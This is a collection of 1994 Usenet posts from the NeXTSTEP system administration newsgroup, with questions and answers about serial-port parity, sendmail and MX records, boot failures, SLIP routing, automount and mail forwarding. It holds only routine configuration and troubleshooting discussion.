Organization: The Marshmallow Peanut Circus
Message-ID: <2oi4a6$e9a@samsara.circus.com>
References: <Co6EJx.C98@cpsc.ucalgary.ca>
Summary: /etc/gettytab configuration (+ rtfm)
Keywords: Word length
In article <Co6EJx.C98@cpsc.ucalgary.ca>,
Anthony Slotboom <slotboom@cpsc.ucalgary.ca> wrote:
>
>My mail feed no longer accepts connections at Even parity, 7 data bits
>and 1 stop bit, which I have been using without any problems until
>now. I need to change the port parameters to No parity, 8 data bits
>and 1 stop bit.
I believe your answer lies in /etc/gettytab. There's a man page for
it... 'man gettytab'. Basically, when your machine calls to make a UUCP
connection, there's this whole chain of files that get checked from
/etc/uucp/L.sys, where your uucp entry is actually stored, into
/etc/uucp/L-devices, and then it looks at /etc/gettytab. So, you need to
track down which device and speed you're using from
L.sys --> L-devices --> gettytab, and then you can just
modify the entries you want with some of the codes in the manpage.
An example device set for 8-N-1 should probably look like:
std.38400|38400-baud:\
:sp#38400:p8:
>I have a non-turbo mono slab and I use a ZyXEL modem. The port speed
>is 38400. I tried using setting the modem up using register 15, ie.
>ATS15=SomethingOrOther but if my suspiscion is correct the port itself
>is using 7 data bits and the configuration will need to be done at a
>higher level. How does one accomplish this? The documentation for
>the ZyXEL is extremely poor, and NeXT has provided no documentation on
>things like parity and word length.
Your suspicion is correct; you need to configure it at a different level
than the ZyXEL, and thus the quality of its documentation isn't relevant
to this particular problem. The NeXT documentation *is* there, but you
have to know what you're looking for. In this case, you probably won't
find anything relative by looking for "word length", and "parity" may
not turn up a whole lot either (unless you grep all of
/NextLibrary/Documentation for it :-/ ), but you can find it if you read the
general sysadmin docs, find out about UUCP, that you need to learn about
L.sys, track that down, read docs on that, you must migrate from the nice
rich text docs down to the man pages... but I had to figure this one out
myself at one point, and did.
Compared to some of the other OS's I've seen, NeXTSTEP documentation isn't
something to sneeze at. :)
>If anyone know of a solution to this, please email me at
>slotboom@cpsc.ucalgary.ca. Any help would be appreciated.
I mailed this as well... just in case he doesn't read the followups.
-Adam Beeman
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From: smcgrew@theocean.uoregon.edu (Steven McGrew)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: POP server for Intel??
Date: 13 Apr 1994 23:10:38 GMT
Organization: University of Oregon
Distribution: world
Message-ID: <2ohu5e$do8@pith.uoregon.edu>
References: <Cnxzvy.1Ds@moksha.uucp>
I run one and it works great. Let me know if you need a copy.
I just got the POP 3.x compiled, configured and runs like a charm.
-Steve
In article <Cnxzvy.1Ds@moksha.uucp> mgb@moksha.uucp (Michael Branton)
writes:
> In article <kci-060494225153@ppp-001.teleport.com> kci@teleport.com
(Steve
> Kornreich) writes:
> > Is there a POP server available for NS_FIP??
> >
> > --
> > Kornreich Communications
> > Steven Kornreich
> > kci@teleport.com
>
> We run one. Got it from ftp.qualcom.com ( I think that's right. Somebody
> correct me if I got that wrong. The site name was in an =EPS= posting a
while
> back.) There are several version there, three of which contain qualcomm
> modifications; I used the latest.) Compiled it, installed it and ran it.
No
> problems so far.
>
> --
>
>
> -Michael
>
>
> mgb@thoth.stetson.edu
> --
>
>
> -Michael
From: bill@alamut.lifesci.ucla.edu (William M. Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 13 Apr 1994 20:34:27 -0700
Organization: UCLA Cognitive Science Research Program
Message-ID: <2oidk3$9ul@alamut.lifesci.ucla.edu>
References: <2odkhk$3gu@herald.indirect.com> <2odv8v$b76@netnews.upenn.edu> <2oflhd$555@nic-nac.CSU.net>
No no no - if you look in some groups like news.admin.misc,
you'll see that the network service knew nothing of this,
that they got blasted and inconvenienced more than you did
and that sending them mail is an awful idea.
For a status, try gopher.inderect.com
--
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bill@lifesci.ucla.edu Is that a frumpy alligator in my drink, my dear?
310-206-3960 (3987 fax) Derision. Like a decision with a beer.
From: cgeyer@aol.com (Cgeyer)
Newsgroups: comp.sys.next.sysadmin
Subject: Panic: during installation of NSI 3.2
Date: 13 Apr 1994 20:55:06 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2oi49a$9dq@search01.news.aol.com>
I've been having a problem trying to install NeXTSTEP v3.2 for Intel. If
anyone could help I would greatly appreciate it. I really don't want to spend
$120 just to talk to someone at NeXT so that I can install their program. The
system that I am working with:
486-50mhz ISA bus, AMI bios, 32mb ram
Adaptec 1542 SCSI adapter
MAXTOR 1gb SCSI drive, SCSI ID 0
Boca video adapter with Tseng's ET4000 (it doesn't seem to be a
problem)
Floppy connected to a separate controller from Adaptec
NEC CDR-77 External CD-ROM drive, SCSI ID 1
It gets through the part about asking me whether I want to install drivers on
other disks and it seems to recognize both the CD-ROM drive and hard drive
after it does "Resetting SCSI Bus" the first time, then it gives me this error:
.
.
.
Registering: sg3 at sc0
Resetting SCSI Bus...
Registering: event0
Registering: kmDevice0
root on sd1
rootdev 608, howto 0
panic: (Cpu 0) vfs_mountroot: cannot mount root
panic: NeXT Mach 3.2: Mon Oct 18 22:08:07 PDT 1993; root (rebuilder):
mk-149.30.15.obj~2/RC_i386/RELEASE_I386
Kernel panic exception
Waiting for remote debugger connection.
(Type 'c' to continue or 'r' to reboot)
If anyone has any ideas about this please give me a suggestion. I suspect that
it is the CD-ROM drive but I am not sure.
Chris Geyer
Newsgroups: comp.sys.next.sysadmin
From: david@charlie (David Vazquez)
Subject: Re: HELP! mach_init, init failed to load, can't boot, NS/FIP
Message-ID: <1994Apr12.141158.2316@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
References: <1994Apr11.191901.23428@adobe.com>
Date: Tue, 12 Apr 1994 14:11:58 GMT
Perry A. Caro (caro@adobe.com) wrote:
In article <1994Apr11.191901.23428@adobe.com> you wrote:
: My NS/FIP system will no longer boot. It gets to the point where it
: wants to run init, and says this:
: rootdev 600, howto 0
: Load of /etc/mach_init, errno 2, trying /etc/init
: Load of /etc/init failed, errno 2
: This was caused innocently enough. I had succesfully logged out, and
: wanted to reboot, so I hit the "Restart" button. The login window went
: away, but then the system froze. After waiting a long while, I hit the
: hard reset button. I've been getting the error ever since.
: [rest deleted]
I'm in the same fix as you. I've been having trouble with one of my machines
(internal compiler errors, WindowServer shutting down due to excessive DPS
client errors, etc) for months, so I phoned my hardware vendor and asked for
a new motherboard. Needless to say the new motherboard didn't fix the problem,
but now I can't boot (not with the old motherboard even). If you have
Check-it Pro for DOS, try it and see if it locks up on the "System board" test.
BTW: My situation leading up to that above error is exactly like yours. I
thought it was NXFax tho since it always seems to hang at shutdown unless some-
thing is plugged into the serial port. :-|
I'm going to try swapping some more hardware. I see a call to NeXT in my
future if it doesn't pan out tho.
: Perry
: --
: caro@mv.us.adobe.com ...!{sun}!adobe!caro Contents: my opinions, no others
Good luck, and please e-mail me if you find a solution soon (I'll do the
same, of course).
-David Vazquez "david@smobject.com"
P.S. I tried replying to your post, but the mail bounced.
P.S.2 I had to chance to play around a bit, and I was able to get the system
to boot off of the NeXTStep CD-ROM; however, it runs the install program. Is
it possible to make it not run the install program on the CD-ROM and just put
me into single user mode?
Newsgroups: comp.sys.next.sysadmin
From: david@charlie (David Vazquez)
Subject: Re: HELP! mach_init, init failed to load, can't boot, NS/FIP
Message-ID: <1994Apr12.162248.15986@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
References: <1994Apr11.191901.23428@adobe.com>
Date: Tue, 12 Apr 1994 16:22:48 GMT
Perry A. Caro (caro@adobe.com) wrote:
: My NS/FIP system will no longer boot. It gets to the point where it
: wants to run init, and says this:
: rootdev 600, howto 0
: Load of /etc/mach_init, errno 2, trying /etc/init
: Load of /etc/init failed, errno 2
[stuff deleted]
I found a solution.
1. Use your NeXTStep Installation CD as the root device. Do this by typing
'sd()mach_kernel rootdev=x' at the boot: prompt where x is the device that
your CD-ROM registers as when you boot up NS (mine is sd1a).
2. Get into single user mode. Do this by hitting control-c a little after the
rootdev 600, howto 0 line. You may want to wait for it to leave a couple of
blank lines just to be safe; however, don't wait too long or it will
run the installation stuff.
3. Once you get the #, mount your harddrive. I did it with
'mount /dev/sd0a /hd'. You may want to try cleaning the filesystem (/dev/sd0a
that is) before mounting; however, I did this, and my /dev/sd0a was clean).
4. Change directories to your mount point (/hd) and type 'ls -l'. Notice what
the etc link points to. Mine pointed to private/etg instead of private/etc.
If it's wrong, just recreate the link with 'ln -s private/etc etc'.
5. Reboot the system.
My only question is what could've changed this link to make it point to the
wrong directory? :-|
-David Vazquez "david@smobject.com"
: Perry
: --
: caro@mv.us.adobe.com ...!{sun}!adobe!caro Contents: my opinions, no others
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail and MX records
Date: 14 Apr 1994 05:21:18 GMT
Organization: San Francisco State University
Message-ID: <2oijse$s9u@nic-nac.CSU.net>
References: <2ofltk$5c1@nic-nac.CSU.net> <netnewsCo7LJs.My7@netcom.com>
In article <netnewsCo7LJs.My7@netcom.com> jeff@netsurfer.com
(Jeff Russell) writes:
>compuserve.com is one that does not work. I do an nslookup, and the MX
>records are there. I am missing something.
Hmm...
|> lserver arl-img-1.compuserve.com
|Default Server: arl-img-1.compuserve.com
|Address: 198.4.7.1
|
|> set q=mx
|> compuserve.com.
|Server: arl-img-1.compuserve.com
|Address: 198.4.7.1
|
|compuserve.com preference = 10, mail exchanger = mailgate.compuserve.com
|mailgate.compuserve.com internet address = 198.4.7.1
|mailgate.compuserve.com internet address = 198.4.7.2
|mailgate.compuserve.com internet address = 198.4.9.1
|mailgate.compuserve.com internet address = 198.4.9.2
|> set q=ptr
|> 1.7.4.198.in-addr.arpa.
|Server: arl-img-1.compuserve.com
|Address: 198.4.7.1
|
|1.7.4.198.in-addr.arpa name = arl-img-1.compuserve.com
|> 2.7.4.198.in-addr.arpa.
|Server: arl-img-1.compuserve.com
|Address: 198.4.7.1
|
|2.7.4.198.in-addr.arpa name = arl-img-2.compuserve.com
|> 1.9.4.198.in-addr.arpa.
|Server: arl-img-1.compuserve.com
|Address: 198.4.7.1
|
|1.9.4.198.in-addr.arpa name = dub-img-1.compuserve.com
|> 2.9.4.198.in-addr.arpa.
|Server: arl-img-1.compuserve.com
|Address: 198.4.7.1
|
|2.9.4.198.in-addr.arpa name = dub-img-2.compuserve.com
|>
|% foreach a (arl-img-1 arl-img-2 dub-img-1 dub-img-2)
|? /usr/etc/mconnect ${a}.compuserve.com
|? end
|connecting to host arl-img-1.compuserve.com (198.4.7.1), port 25
|connection open
|220-arl-img-1.compuserve.com Sendmail (it's not just for breakfast anymore) 8.6.4/5.940406sam ready for love at Thu, 14 Apr 1994 01:21:40 -0400
|220 ESMTP spoken here
|quit
|221 arl-img-1.compuserve.com closing connection
|connecting to host arl-img-2.compuserve.com (198.4.7.2), port 25
|connect: Connection refused
|connecting to host dub-img-1.compuserve.com (198.4.9.1), port 25
|connection open
|220-dub-img-1.compuserve.com Sendmail (it's not just for breakfast anymore) 8.6.4/5.930129sam ready for love at Thu, 14 Apr 1994 01:14:03 -0400
|220 ESMTP spoken here
|quit
|221 dub-img-1.compuserve.com closing connection
|connecting to host dub-img-2.compuserve.com (198.4.9.2), port 25
|connection open
|220-dub-img-2.compuserve.com Sendmail (it's not just for breakfast anymore) 8.6.4/5.930129sam ready for love at Thu, 14 Apr 1994 01:14:08 -0400
|220 ESMTP spoken here
|quit
|221 dub-img-2.compuserve.com closing connection
Hmm...
Questions:
1) Which NEXTSTEP version are you running?
2) Have you installed NeXT's SendmailPatch.pkg?
3) What does ls -l /etc/sendmail/sendmail.cf display?
4) What happens if (from a command line) you do:
% Mail -v xxxxx.yyyyy@compuserve.com
(replacing xxxxx.yyyyy with some valid address)
-=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.2 sendmail.cf questions
Date: 14 Apr 1994 05:27:12 GMT
Organization: San Francisco State University
Message-ID: <2oik7g$sh1@nic-nac.CSU.net>
References: <2oi2he$8qm@alamut.lifesci.ucla.edu>
In article <2oi2he$8qm@alamut.lifesci.ucla.edu>
bill@lifesci.ucla.edu (William M. Eldridge) writes:
> I need to route bitnet through a particular host.
>For a Sun sendmail.cf, I have:
>R$<@$+.BITNET>$* $#tcp$@$B$:$1@$2.BITNET$3
>
>Are there any problems with this syntax in this version of
>sendmail?
We use
R$*<@$-.bitnet>$* $#ddn$@$B$:$1<@$2.BITNET>$3 user@node.bitnet
-=EPS=-
From: gdevine@well.sf.ca.us (Graeme Devine)
Newsgroups: comp.sys.next.sysadmin
Subject: routing help. I'm going crazy. Help. Please.
Date: 14 Apr 1994 06:10:00 GMT
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Message-ID: <2oimno$bvi@nkosi.well.com>
Summary: help with routing
Keywords: slip route tcp/ip
I'm stuck and it's driving me crazy. I've been at this for two days, read
books on the matter, made offerings to the NeXT God, and delayed Seventh
Guest II for a while. Can anyone please help me with what I am sure is a
simple thing.
I've configured SLIP (1 day) for my home machine. It works quite well, as
long as I only want to talk to the SLIP server. The slip server will not
pass packets back from anywhere else on the network unless I hand route the
gateway on every other host (not something I can do).
There has to be a simple way to say "send all packets that are meant for
198.211.131.193 and route them via 198.211.131.194" (I have to type route
add 198.211.131.193 198.211.131.194 on all the other hosts, but if I do that
to the SLIP server, the routing stops altogether).
I know the packets are getting to the various hosts I ping, they just have
no idea how to send them back. It's driving me nuts.
Please, can someone help me? At this rate there will never be a Seventh
Guest Part II (okay, so there probably will, I'll just have to go to the
office, a better thought would be that this really will drive me insane).
Email me, fax me, send me smoke signals, try esp.......
Graeme Devine
Trilobyte, Inc.
Newsgroups: comp.sys.next.sysadmin
From: jjfeiler@relief.com (John Jay Feiler)
Subject: The recycler is on a different disk for ...
Message-ID: <Co6K56.7wy@relief.com>
Sender: jjfeiler@relief.com (John Jay Feiler)
Organization: Relief Consulting & Development
Date: Wed, 13 Apr 1994 04:22:18 GMT
Hi all:
I'm having an odd problem. When I try to drag a file, say "/Archive/foo" to
the recycler, I get the error message "The recycler is on a different disk
for /Archive/foo" in the processes panel. When I hit the "Proceed" button,
the panel is happy, but the file is not destroyed.
I've checked all the obvious things.
/Archive is actually on the root partition....
relief[15] df /Archive
/
Filesystem kbytes used avail capacity
Mounted on
/dev/sd0a 667719 551767 49180 92% /
The /.NextTrash directory exists, and has the correct permissions.
relief[18] ls -lga
/
total 1601
drwxrwxrwt 22 root wheel 1024 Apr 12 21:12 .
drwxrwxrwt 22 root wheel 1024 Apr 12 21:12 ..
drwxr-xr-x 4 root wheel 1024 Mar 28 09:09 .NeXT
drwxrwxrwt 2 root wheel 1024 Apr 12 21:12 .NextTrash
Does anyone have any ideas what could be causing this, and what I can do to
fix it?
Thanks,
John
--
John Feiler jjfeiler@relief.com
Relief Consulting & Development (206) 743-3953
4926 152nd St. SW NeXTmail Welcome!!!
Edmonds, WA 98026-4433 Independent NeXTSTEP Developer
--
From: ras@nextras.mko.dec.com (Bob Surtees)
Newsgroups: comp.sys.next.sysadmin
Subject: How do I create /dev/lp?
Date: 14 Apr 1994 14:22:47 GMT
Organization: Digital Equipment Corporation
Message-ID: <2ojjjn$fgd@nntpd.lkg.dec.com>
I won't go into the details, but I wiped out my /private directory
yesterday and I am trying to recover. Looking at the nis printcap entry,
the device has been set to /dev/null and I can't find out what to set it
to. Having inherited this machine from someone else, I have no printed
manuals and have to rely on whatever came with NeXTSTEP V3.2 online
documentation. I have been completely unsuccessful in trying to find an
answer to my problem.
If anyone can tell me how to get my printer up and running again, I would
be grateful.
Thanks, Bob Surtees
ras@nextras.mko.dec.com
From: ras@nextras.mko.dec.com (Bob Surtees)
Newsgroups: comp.sys.next.sysadmin
Subject: What is the recommended procedure for setting up automount?
Date: 14 Apr 1994 14:33:00 GMT
Organization: Digital Equipment Corporation
Message-ID: <2ojk6s$fuk@nntpd.lkg.dec.com>
I use my machine in a network where I have YP and automount running.
Here is an example of auto.shared which is served:
models machine1:/models
Next machine2:/exported/next
pub machine1:/pub
pc machine1:/exported/pccommon
On the other systems /usr/etc/automount -f /etc.master is started up at
boot time with /etc/auto.master containing the following:
/shared auto.shared -rw
The way I had it set up created a new bunch of strangely named folders in
/private and in trying to clean these up yesterday I inadvertantly also
removed the dev and etc directories. I am still trying to recover!
Thanks,
Bob Surtees
ras@nextras.mko.dec.com
From: droege@informatik.uni-koblenz.de (Detlev Droege)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: any PCNFSD for NS/I 3.2?
Date: 14 Apr 1994 15:29:26 GMT
Organization: University Koblenz / Germany
Distribution: world
Message-ID: <2ojngm$n1f@newshost.uni-koblenz.de>
References: <2oeagq$jb5@marble.Britain.EU.net>
In article <2oeagq$jb5@marble.Britain.EU.net> Charlesa@learned.co.uk writes:
>
> Hi -
>
> Anybody know of a version of pcnfsd that I can run on 3.2 for Intel? Thanks
> for your thoughts...
What about /usr/etc/rpc.pcnfsd on every NEXTSTEP 3.2 system ?
Servers for version 2 of PC-NFS can be found on the FTP archives.
Detlev
--
Detlev Droege, Uni Koblenz, FB Informatik, Rheinau 1, D-56075 Koblenz, Germany
Tel: +49 261 9119-421, Fax: -497, NeXT/Email: droege@informatik.uni-koblenz.de
Newsgroups: comp.sys.next.sysadmin
From: jeff@netsurfer.com (Jeff Russell)
Subject: Re: sendmail and MX records
Message-ID: <netnewsCo96n4.GLL@netcom.com>
Keywords: sendmail MX
Sender: netnews@netcom.com (USENET Administration)
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2oijse$s9u@nic-nac.CSU.net>
Date: Thu, 14 Apr 1994 14:23:27 GMT
In article <2oijse$s9u@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott)
writes:
> In article <netnewsCo7LJs.My7@netcom.com> jeff@netsurfer.com
> (Jeff Russell) writes:
> >compuserve.com is one that does not work. I do an nslookup, and the MX
> >records are there. I am missing something.
>
> Hmm...
>
> |> lserver arl-img-1.compuserve.com
> |Default Server: arl-img-1.compuserve.com
> |Address: 198.4.7.1
> |
> |> set q=mx
> |> compuserve.com.
> |Server: arl-img-1.compuserve.com
> |Address: 198.4.7.1
> |
> |compuserve.com preference = 10, mail exchanger =
mailgate.compuserve.com
> |mailgate.compuserve.com internet address = 198.4.7.1
> |mailgate.compuserve.com internet address = 198.4.7.2
> |mailgate.compuserve.com internet address = 198.4.9.1
> |mailgate.compuserve.com internet address = 198.4.9.2
> |>
> 1) Which NEXTSTEP version are you running?
NSI 3.2
> 2) Have you installed NeXT's SendmailPatch.pkg?
No, but will now!
Thanks to James T. Romano (romano@emc-sole.com) for giving me a solution.
Use /usr/lib/sendmail.old instead of /usr/lib/sendmail. Now everything
Just Works!
Never would have thought the answer was an older sendmail :~)
I recall a while back someone posting that they were about finished with
an up-to-date sendmail for NEXTSTEP. Was that ever posted anywere? If
not, does anyone know the status?
Thanks for your help Eric.
jeff
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail and MX records
Date: 14 Apr 1994 17:56:07 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2ok03n$4aj@agate.berkeley.edu>
References: <netnewsCo96n4.GLL@netcom.com>
In article <netnewsCo96n4.GLL@netcom.com> jeff@netsurfer.com (Jeff Russell) writes:
>I recall a while back someone posting that they were about finished with
>an up-to-date sendmail for NEXTSTEP. Was that ever posted anywere? If
>not, does anyone know the status?
I think that was from Robert La Ferla <Robert_La_Ferla@hot.com>, but
he must have been busy.
Any case, the up-to-date sendmail itself now at version 8.6.8
compiles with no modifications on NS 3.2 on both Intel and Motorola
(with "make -f Makefile.NeXT"), and works great and is faster. It
doesn't use NetInfo aliases however, but goes to /etc/sendmail/aliases.
The latest sendmail is available from:
ftp.cs.berkeley.edu:/ucb/sendmail directory via anon FTP.
The problem is that you need updated tools to update other support
files. For example, oo generate new sendmail.cf files, you have
to update 'm4' macro processor as the NeXT's one is too old. Man
pages are in the new format. I don't care about man pages, and you
can make sendmail.cf on any other platforms that has the newer 'm4'.
It's just that it may be a bit of a hassle to get all these tools
updated as well.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXT and MIME mails OK)
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail and MX records
Date: 14 Apr 1994 17:57:02 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2ok05e$4ck@agate.berkeley.edu>
References: <netnewsCo96n4.GLL@netcom.com>
In article <netnewsCo96n4.GLL@netcom.com> jeff@netsurfer.com (Jeff Russell) writes:
>I recall a while back someone posting that they were about finished with
>an up-to-date sendmail for NEXTSTEP. Was that ever posted anywere? If
>not, does anyone know the status?
I think that was from Robert La Ferla <Robert_La_Ferla@hot.com>, but
he must have been busy.
Any case, the up-to-date sendmail itself now at version 8.6.8
compiles with no modifications on NS 3.2 on both Intel and Motorola
(with "make -f Makefile.NeXT"), and works great and is faster. It
doesn't use NetInfo aliases however, but goes to /etc/sendmail/aliases.
The latest sendmail is available from:
ftp.cs.berkeley.edu:/ucb/sendmail directory via anon FTP.
The problem is that you need updated tools to update other support
files. For example, oo generate new sendmail.cf files, you have
to update 'm4' macro processor as the NeXT's one is too old. Man
pages are in the new format. I don't care about man pages, and you
can make sendmail.cf on any other platforms that has the newer 'm4'.
It's just that it may be a bit of a hassle to get all these tools
updated as well.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXT and MIME mails OK)
Newsgroups: comp.sys.next.sysadmin
From: dylan@Angst.COM (Dylan Kohler)
Subject: Reply-To: field problems...
Message-ID: <1994Apr14.215557.8843@Angst.COM>
Sender: dylan@Angst.COM
Organization: Angst Animation Post Production
Date: Thu, 14 Apr 1994 21:55:57 GMT
I set my Reply-To: field to be "dylan@Angst.COM" in Mail.app's
Preferences. This works fine for mail that stays on our local network.
When mail goes out to the Internet (via a UUCP connection with Netcom),
however, the Reply-To: field somehow gets translated to be "angst!dylan".
I assume it's my sendmail.cf file interfering, but I don't know enough to
get it right!
Can someone help? Please reply to dylan@Angst.COM.
--
___________________________________
Dylan Kohler
Angst Animation Post Production
dylan@angst.com (NeXTmail welcome)
From: thor@sushi.uib.no
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc
Subject: WANTED: How to use grave/circummflex
Date: 14 Apr 1994 23:26:53 GMT
Organization: University of Bergen, Norway
Distribution: world
Message-ID: <2okjft$ou5@due.uninett.no>
I need to input some text in Croatian. I know that accent keys are
dead to allow placing over letters, but the grave and circumflex
don\t wait for a letter - they move on to the next place.
I haven\t tried yet, but if cedilla (for French) is the same, I\d like
a fix...
BTW - Keyboard.app doesn\t seem to work for me (look at my apostrephes
as an example...), I don\t get a keyboard picture, even after clicking
on Add... I\m using mappings I modified under 2.1 and have used without
problem since. Well, up to now.
Please email replies.
Regards,
--
Thor Legvold | "This is the strangest life
NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Help with Cube desperately needed - new to NeXTs
Message-ID: <jtarr.766364114@scws3.harvard.edu>
From: jtarr@scws3.harvard.edu (Jeff Tarr)
Date: 14 Apr 94 22:55:14 GMT
Organization: Harvard University, Cambridge, Massachusetts
Wew've just been given a used Cube that has been previously configured
by people who had no idea what was going on. At this time we are
not connected to a network, but will be soon.
Right now we have a lot of questions but first a problem:
During bootup the machine first looks for a NetInfo server, which it
can not find so we have to hit a "c" to continue. What is a NetInfo
server and what do I need to do about this?
Next, the machine starts looking for a YP server. The machine gets stuck
trying to find a YP server, but it never will. I can't get the machine
loaded up or anything. How can I circumvent this?
Other problems:
While I tried out the machine when it was working I couldn't figure out
how to mount optical disks. Sometimes I would insert the disk and then it
would grind for for a few seconds and then eject, and other times it would
just sit in there. How do I mount it?
Also, I've tried booting off the optical but it doesn't work. How can I
boot off the optical?
Any other tips for new users would be greatly appreciated. Where can I
get the FAQ?
Please respond by email!
Thanks.
--
Jeff Tarr
jtarr@husc.harvard.edu
"Remember, drive defensively! And of course, the best defense is a good
offense!"
From: laroche@sig.enst.fr (Jean Laroche )
Newsgroups: comp.sys.next.sysadmin
Subject: Help needed!
Date: 15 Apr 1994 10:40:28 GMT
Organization: Ecole Nationale Superieure des Telecommunications, Paris France
Message-ID: <2olqus$27g@enst.enst.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Keywords: Workspace
Hi!
We have a new problem with our next machine (running 2.1). It has become
impossible to login because the workspace manager crashes right after lauching,
saying: "internal error 11, try to save edited files etc etc etc" and logs out.
Has anyone seen that before? What could the problem be (it's not solved by
rebooting, it's not in the FAQ nor in the manuals).
Jean Laroche
Telecom Paris
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: mail forward and procmail questions -- pleas help
Date: 15 Apr 1994 00:25:51 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2okmufINNqnk@no-names.nerdc.ufl.edu>
Hello,
I downloaded and installed procmail the other day (many thanks to
Carl Edman for pointers to this) and I now am trying to use it. I wanted
to experiment with procmail by using .forward and .procmailrc files
without completely using it as an integrated local mail delivery agent.
However, I am having some problems with this and am looking for advice.
I believe that one of the symptoms of the problem is that my
forward is not being read by sendmail for my incoming mail. I had
noticed this before when trying to set up different sounds for incoming
mail. However, when it didn't work the problem didn't seem to be
important enough to worry about. Now, however, I would like to find out
why.
When I mail something locally the .forward file is read without a
problem. However, when mail comes from outside my machine it is not. I
looked at the sendmail.cf on our departments system and found the
following lines
# Forward file search path
OJ$z/.forward.$w:$z/.forward
This isn't in any of the senmail.* files on my machine. I added it and
still nothing. As a matter of fact all references to .forward (e.g. man
pages) that I can find on the department's Sun machines do not exist on my
NeXT. Does anyone know why this is happening? Has anyone else
experienced this?
This is starting to bug me a lot. I would greatly appreciate any
advice.
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
From: <bwhite@mr.net>
Newsgroups: comp.sys.next.sysadmin
Subject: Getting SLIP to work?
Date: Thu, 14 Apr 94 16:31:59 CST
Organization: Minnesota Regional Network
Message-ID: <70850.bwhite@mr.net>
For a while now, I've been trying to get TransSys-PNI SLIP software to work
on my new NeXTSTEP system (Intel). I'm using a Supra V.32bis software, and
the slip server isn't one of the already-supported ones. So I wrote some
scripts. It dials fine, and connects at the right speed, but the login
script never gets what it "expect"s (though I've logged in manually under
Windows, and I know exactly what text is sent).
Has anyone else had this problem (and fixed it)? How can I (using the
supplied script language) dump the text received from the modem to the
terminal, so I can debug?
Alternatively, is there somewhere I can get (pay money for) plug-and-play
SLIP software? I hate these stupid scripts, and, as an end user, shouldn't
have to learn a new programming language to get SLIP working.
BTW, this is my first ever post to the net-news, so go easy on the flames,
please.
Benjamin L. White
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Getting SLIP to work?
Date: 15 Apr 1994 10:17:52 +0100
Organization: me organised, that's a joke.
Message-ID: <2olm40$j0@steffi.demon.co.uk>
References: <70850.bwhite@mr.net>
<bwhite@mr.net> wrote in comp.sys.next.sysadmin
>Alternatively, is there somewhere I can get (pay money for) plug-and-play
>SLIP software? I hate these stupid scripts, and, as an end user, shouldn't
>have to learn a new programming language to get SLIP working.
Yes and it has excellent support too. So does PNI though I might add.
MorningStar PPP is now available for intel. (Still beta I think) I'm
currently running the Moto version and I am very impressed with it.
MorningStar is expensive and is really for commercial users IMHO.
However, it doesn't use Tcl as it's scripting language (not
necessarily a good thing) and is pretty much a copy of how BNU
UUCP works. MST PPP is probably only necessary for firewall sites
since it has the most sophisticated packet filtering on the market.
However, it's the _only_ robust PPP implementation available. It also
includes support for SLIP with VJ compression too.
There are two versions one for Intel and the Moto version.
>
>BTW, this is my first ever post to the net-news, so go easy on the flames,
>please.
Nothing to flame you for. Short concise question in the appropriate
group. If you want to attract the attention of the marketing boys at
appropriate companies then consider cross posting to
comp.protocols.ppp
--
"Kill files are for pacifists"
(ASCII for text only messages)
From: gdevine@well.sf.ca.us (Graeme Devine)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: routing help. I'm going crazy. Help. Please.
Date: 15 Apr 1994 11:53:30 GMT
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Message-ID: <2olv7q$c5p@nkosi.well.com>
References: <2oimno$bvi@nkosi.well.com>
Keywords: slip route tcp/ip
gdevine@well.sf.ca.us (Graeme Devine) writes:
>I'm stuck and it's driving me crazy. I've been at this for two days, read
>books on the matter, made offerings to the NeXT God, and delayed Seventh
>Guest II for a while. Can anyone please help me with what I am sure is a
>simple thing.
>I've configured SLIP (1 day) for my home machine. It works quite well, as
>long as I only want to talk to the SLIP server. The slip server will not
>pass packets back from anywhere else on the network unless I hand route the
>gateway on every other host (not something I can do).
>There has to be a simple way to say "send all packets that are meant for
>198.211.131.193 and route them via 198.211.131.194" (I have to type route
>add 198.211.131.193 198.211.131.194 on all the other hosts, but if I do that
>to the SLIP server, the routing stops altogether).
>I know the packets are getting to the various hosts I ping, they just have
>no idea how to send them back. It's driving me nuts.
>Please, can someone help me? At this rate there will never be a Seventh
